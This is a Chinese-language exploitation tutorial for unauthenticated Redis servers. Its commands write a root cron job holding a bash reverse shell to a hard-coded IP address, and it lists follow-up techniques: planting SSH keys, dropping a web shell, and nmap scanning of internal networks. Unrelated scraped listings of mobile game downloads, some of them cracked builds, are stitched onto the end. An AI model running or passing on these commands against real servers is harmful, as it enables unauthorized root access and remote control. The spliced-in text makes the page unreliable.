背景
Redis默认安装完成后是只能本机访问的并且没有密码。
而一般公司的应用都会需要多台服务器访问Redis,所以运维就会将/etc/redis.conf中的bind-ip改为0.0.0.0,导致外网可以匿名访问(不需要密码)。
外网可以访问导致的问题是Redis数据外泄,这时候还不能造成直接利用。
但如果Redis启动的时候是用root账户,则会造成GET SHELL。
利用方式
通过Redis的config命令,可以写入任意文件,权限足够的情况下即可写入定时任务反弹得到SHELL
# 连上一台Redis
redis-cli -h your_redis_server
# 保持写入的干净,清除原有数据(如果是其它人机器,不建议这么做)
# flushall
# 设置key(0)为bash反弹shell的脚本,每分钟执行一次,在自己服务器上监听7890端口(nc -vvl 7890)
set 0 "nn*/1 * * * * /bin/bash -i >& /dev/tcp/103.21.140.84/7890 0>&1nn"
# 设置保存的位置
config set dir /var/spool/cron/
# 设置保存的文件名
config set dbfilename root
# 保存
save
多种利用姿势
除了可以直接写定时任务拿到SHELL,还可以有多种姿势。
写cron反弹一个shell
写~/.ssh/authorized_keys,使用密钥直接登录
找到web目录的绝对路径,直接写web shell
写初始化脚本
/etc/profile.d/
主从模式利用
企业内部Redis匿名挖掘
通过nmap扫描内网网段的redis匿名访问服务。(当然可以扫描外网)
$ nmap -p6379 10.11.0/16 --script redis-info
对,就是这个洞让我wooyun排名10天前进10页,自动化利用,每天就看下报告即可。
茶杯头甜蜜终章dlc 官方手机版v1.0.0.3
下载火柴人传说暗影格斗内置菜单 最新版v3.0.1
下载荒野乱斗测试服 安卓版v61.10.3
下载荒野乱斗彩虹服 安卓版v61.10.3
下载寒霜启示录 安卓版v1.25.10
寒霜启示录是一款生存模拟游戏,不少玩家可能对于末日都有着自己
末日城堡免广告版 安卓最新版v0.7.1
末日城堡免广告版是一款非常好玩的模拟经营类游戏,内部可以不看
甜蜜人生模拟器 最新版v1.4.5
甜蜜人生模拟器是一款非常好玩的模拟恋爱手游,玩家在这里能够对
武器锻造师内置功能菜单 v10.4
武器锻造师内置菜单版是游戏的破解版本,在该版本中为玩家提供了
开放空间overfield 安卓版v1.0.5
开放空间Overfield是一款箱庭养成经营手游,让你在广阔